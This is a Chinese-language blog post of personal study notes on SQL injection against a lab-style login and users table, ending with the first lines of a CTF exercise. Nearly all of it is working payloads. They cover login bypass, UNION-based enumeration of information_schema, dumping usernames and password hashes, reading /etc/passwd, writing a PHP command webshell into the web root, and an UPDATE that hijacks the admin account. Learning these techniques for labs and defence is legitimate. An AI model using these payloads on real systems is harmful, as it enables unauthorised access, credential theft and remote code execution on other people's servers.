SQL注入

SQL注入

一、基本语法

用户登陆判断语句:

SELECT * FROM users WHERE user='uname' AND password='pass'

SELECT * FROM users WHERE user='name' AND password='' OR ''=''

基于报错的检测方法(low)——>能注入就不会报错

' " % ( )

基于布尔的检测

1' and '1'='1

1' and '1

1' and '1'='2

1' and '0

#类似:select first_name,surname from users where id=' '(单引号中是:1' and '1'='1 将两个单引号再次闭合。意思是,id=1是真后面也是真,这是构造逻辑与运算;逻辑或运算?)

检测表列数/显示信息位于哪一列

' order by 9--+

#按查询序列号排序(注释符:--)select *时表字段数=查询字段数

联合查询:

' union select 1,2--+

' union all select database(),2--+

#单引号用于闭合

联合查询内容列举:

' union select database(),substring_index(USER(),"@",1)--

DB用户:user()

DB版本:version()

(' union select user(),version()-- )

全局函数:@@datadir、@@hostname、@@VERSION、@@version_compile_os

(' union select user(),@@datadir-- 等等)

当前库:database()

(' union select user(),database()-- )

ASCII转字符:char()

(' union select user(),char(55)--+ 把数值输入里面,ASCII码注入)

连接字符串(联合查询):CONCAT_WS(CHAR(32,58,32),user(),database(),version())

(' union select CONCAT_WS(CHAR(32,58,32),user(),database(),version()),null--+)

计算哈希:md5()

(' union select CONCAT_WS(CHAR(32,58,32),user(),database(),version()),md5('a')--+)

Mysql数据结构简介:

information_schema——>源数据库,数据库结构的管理者。(每个结构存储数据)

(包含数据库管理系统内的所有信息,不是数据,是本身信息;包含字段、表、有多少表等等)

搜友库所有表/统计每库中表的数量:

' union select table_name,table_schema from information_schema.tables--+

' UNION select table_schema,count(*) FROM information_Schema.tables group by table_schema --

数据库中的表名

' union select table_name,table_schema from information_schema.tables where table_schema='数据库'--+

Users表中的所有列(user_id、first_name、last_name、user、password、avatar)

' union select table_name,column_name from information_schema.columns where table_schema='数据库' and table_name='users'--+

查询user、password列的内容

' union select user,password from 数据库.users--+

' union select user,password from users--+

' union select null, concat(user,0x3a,password) from users--+

读取文件

' union SELECT null, load_file('/etc/passwd')--+

#命令读取本地数据库文件

写入文件

' union select null,"<?php passthru($_GET['cmd']); ?>" INTO DUMPFILE "/var/ www/a.php" --+

#直接写写不进去

保存下载数据库

' union select null, concat(user,0x3a,password) from users INTO OUTFILE '/ tmp/a.db'-

猜列名

' and column is null--+

猜当前表表名

' and table.user is null--+

猜库里其它表

' and (select count(*) from table)>0--+

列表对应关系

' and users.user is null--+

猜字段内容

' or user='admin (输入完全正确的字段猜解)

' or user like ' %a% (大概的字段,只要有a的都查)

猜账号对应密码

' or user='admin' and password='5f4dcc3b5aa765d61d8327deb882cf99

#密码需要进行加密处理

#(猜解类似于暴力破解密码,猜解区别就是需要有webapplication输入字符有返回错误提示信息,可用fuzz功能)

当数据库可写(因无法破解所知账号的md5密码,但是数据库中的表可以写入,那么写入一个账号+md5密码)

'; update users set user='jerome' where user='admin

二、练习题

1、BUU SQL COURSE 1

看到有登录

试一下万能的用户名密码,发现不行。

posted @ 2023-08-09 09:33  Sdegree  阅读(42)  评论(0编辑  收藏  举报